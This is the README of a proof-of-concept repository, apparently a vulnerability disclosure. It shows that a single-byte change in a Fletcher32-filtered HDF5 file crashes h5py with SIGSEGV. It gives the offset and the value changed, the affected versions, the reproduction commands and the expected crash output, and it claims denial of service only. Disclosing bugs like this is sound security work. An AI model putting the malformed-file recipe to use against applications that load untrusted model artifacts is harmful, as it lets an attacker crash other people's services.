hacnho/hdf5-fletcher32-filter-sigsegv-poc

HDF5 Fletcher32 filter SIGSEGV PoC

This repository contains a minimal proof of concept for a process crash while reading a malformed HDF5 dataset through h5py.

Summary

A valid HDF5 file is created with one chunked dataset using gzip compression, the shuffle filter, and the built-in Fletcher32 checksum filter. Changing one byte at file offset 1648 from 0x98 to 0x00 keeps the file recognizable as HDF5. Opening the file and reading the dataset with h5py.File(...); ds[()] terminates the Python process with SIGSEGV.

The crash reproduces on:

• h5py==3.16.0, bundled HDF5 2.0.0
• h5py==3.14.0, bundled HDF5 1.14.6

The demonstrated impact is process-level denial of service when an application loads attacker-supplied .h5 / .hdf5 model artifacts. No code execution is claimed.

Reproduce

python3 -m venv /tmp/hdf5-fletcher32-poc
/tmp/hdf5-fletcher32-poc/bin/python -m pip install --upgrade pip
/tmp/hdf5-fletcher32-poc/bin/python -m pip install -r requirements.txt
/tmp/hdf5-fletcher32-poc/bin/python reproduce_hdf5_fletcher32_sigsegv.py

Expected output:

python=/tmp/hdf5-fletcher32-poc/bin/python
h5py=3.16.0 hdf5=2.0.0
mutated offset 1648: 0x98 -> 0x00
== control: control_chunked_gzip.h5 ==
loading .../control_chunked_gzip.h5
keys=['chunked']
shape=(2048,) dtype=int16
read ok first=0 last=2047
returncode=0
== crash: crash_fletcher32_single_byte.h5 ==
loading .../crash_fletcher32_single_byte.h5
keys=['chunked']
shape=(2048,) dtype=int16
returncode=-11

Files

• reproduce_hdf5_fletcher32_sigsegv.py - self-contained builder and reproducer.
• control_chunked_gzip.h5 - valid seed generated by h5py.
• crash_fletcher32_single_byte.h5 - same-size malformed HDF5 file with one byte changed.
• record-demo-output.txt - captured local PoC output.
• gdb-backtrace.txt - native backtrace showing the crash in H5_checksum_fletcher32.
• duplicate-check.md - duplicate review notes.
• environment.txt - tested package and runtime versions.
• SHA256SUMS.txt - artifact hashes.